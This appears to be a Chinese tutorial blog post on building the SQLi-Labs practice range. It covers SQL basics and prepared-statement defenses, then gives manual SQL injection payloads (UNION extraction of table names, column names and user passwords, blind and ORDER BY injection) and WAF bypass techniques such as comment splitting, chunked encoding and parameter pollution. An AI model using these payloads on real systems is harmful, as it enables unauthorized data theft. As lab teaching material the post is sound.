sqlilabs注入靶场搭建与sql语句

1. SQLI-LABS环境搭建指南

1.1 数据库配置

  • 打开sql-connections目录下的db-creds.inc文件

  • 将小皮面板(phpStudy)中的MySQL密码填入相应位置

  • 确保Apache/MySQL服务正常运行2. 必备SQL基础语句

2. 必备SQL基础语句

2.1 数据库基础操作

bash 复制代码
# 创建数据库
create database test1;

# 查看所有数据库
show databases;

# 使用特定数据库
use test1;

# 查看当前数据库中的表
show tables;

# 获取当前数据库名称
select database();

# 删除数据表
drop table table1;

# 查询当前用户
select user();

# 获取数据库版本
select version();

2.2 关键查询函数与操作

排序与联合查询
bash 复制代码
-- 按字段排序,常用于测试列数
select * from member order by id;
select * from member order by 4;

-- 联合查询(要求列数一致)
select id,username from users 
union 
select id,content from message;
字符串处理函数
bash 复制代码
-- 字符串截取
select substr('root',1,1);      -- 结果:r
select substring('root',2,2);   -- 结果:oo
select left('root',2);          -- 结果:ro
select right('root',2);         -- 结果:ot
select mid('root',1,1);         -- 结果:r

-- 字符编码转换
select ascii('root');           -- 结果:114(第一个字符'r'的ASCII码)
select char(65);                -- 结果:A

-- 数据长度获取
select length(database());

3. 预编译与SQL注入防御

3.1 预编译原理与限制

为什么预编译能防止SQL注入?

  • 将SQL语句与参数分开处理:先编译语句结构,再传入参数

  • 参数不再被解释为SQL代码,消除了语句歧义

预编译的局限性:

  • 只能保护可参数化位置(如WHERE条件中的值)

  • 不可参数化位置仍存在注入风险:

    • 表名、列名

    • ORDER BY、GROUP BY子句

    • LIMIT、JOIN等SQL结构

3.2 真实与虚假预编译

类型 实现方式 安全性 常见绕过方式
虚假预编译 客户端模拟参数绑定(字符串转义和拼接) 较低 宽字节注入等
真实预编译 数据库层面编译语句,参数二进制传递 较高 不可参数化位置注入

3.3 不可参数化位置注入示例

bash 复制代码
-- ORDER BY注入示例(不可参数化)
ORDER BY rand(ascii(substr(database(),1,1))>96)

3.4 综合防御建议

  1. 使用真实预编译(如设置PDO::ATTR_EMULATE_PREPARES = false)

  2. 对不可参数化位置进行白名单验证

  3. 避免直接拼接用户输入到SQL结构部分

  4. 结合WAF、输入验证、编码统一等多层防护

4. SQL注入攻击技术与手工方法

4.1 手工注入标准流程

  1. 判断注入点 :测试'、"、)、and 1=1、and 1=2

  2. 确定字段数 :order by n逐步测试

  3. 定位回显位 :union select 1,2,3,...,n

  4. 获取基本信息:

    bash 复制代码
    select database(), user(), version()
  5. 提取表名:

    bash 复制代码
    union select 1,group_concat(table_name) 
    from information_schema.tables 
    where table_schema=database()
  6. 获取列名:

    bash 复制代码
    union select 1,group_concat(column_name) 
    from information_schema.columns 
    where table_name='users'

数据提取:

bash 复制代码
union select username,password from users limit 0,1

4.2 盲注加速技巧

  • 二分法判断 :ascii(substr(password,1,1))>100

  • 长度判断 :length(password)=32

  • 合理使用substr()、mid()等函数

5. WAF绕过技术详解

5.1 语法变形技巧

bash 复制代码
-- 大小写混写
UnIoN SeLeCt

-- 内联注释分割
U/**/NI/**/ON

-- 等价函数替换
version() → @@version
substr() → mid()
and → &&, or → ||

-- 特殊符号使用
select `version()`
select+user()

5.2 高级绕过策略

  1. 分块传输 :修改Transfer-Encoding: chunked拆分payload

  2. 协议层面绕过:

    • 参数污染:id=1&id=2 union select

    • 多参数分割:id=1 union/*&id=*/select 1,2,3

  3. 特定WAF绕过:

    • 雷池WAF:利用解析差异

    • 云WAF:寻找真实IP直接连接

  4. 资源耗尽攻击:使用长字符串或缓慢发送payload

相关推荐
key_3_feng16 分钟前
评估与对齐:Agent 自我进化的护栏
前端·数据库·agent
TangGeeA17 分钟前
数据库、SQL 与 DB AI
数据库·人工智能·sql
IvorySQL17 分钟前
开源数据库进校园| 11 月 3 日,IvorySQL 校园行走进浙大宁波校区:从 PostgreSQL 扩展生态到 AI 实战
数据库·postgresql·开源
福建佰胜张工32 分钟前
深度解析 Allen-Bradley 150-B135NBDA 智能电机控制器:选型、参数与工业应用
运维·数据库·单片机·嵌入式硬件·安全·自动化
`Levie37 分钟前
MySQL-数据库服务日志管理与数据闪回
数据库·mysql
香蕉大香蕉(06敬畏市场)41 分钟前
MySQL 单点详解(01)
java·数据库·mysql·面试·博客·实习
LaughingZhu1 小时前
Product Hunt 热榜 2026-10-30:Empacer、Scape、Floot in ChatGPT
java·前端·数据库·人工智能·chatgpt·notion
standxy1 小时前
即时库存同步实战:从旺店通拉取库存详情落库 MySQL 的完整策略
数据库·集成·电商
麦壳饼1 小时前
SonnetDB:工业 IoT 中的 PID 历史分析与 PLC 协作
数据库·sonnetdb
吹什么轩1 小时前
MySQL 事务管理:从 ACID 到 MVCC,一篇讲透
数据库·mysql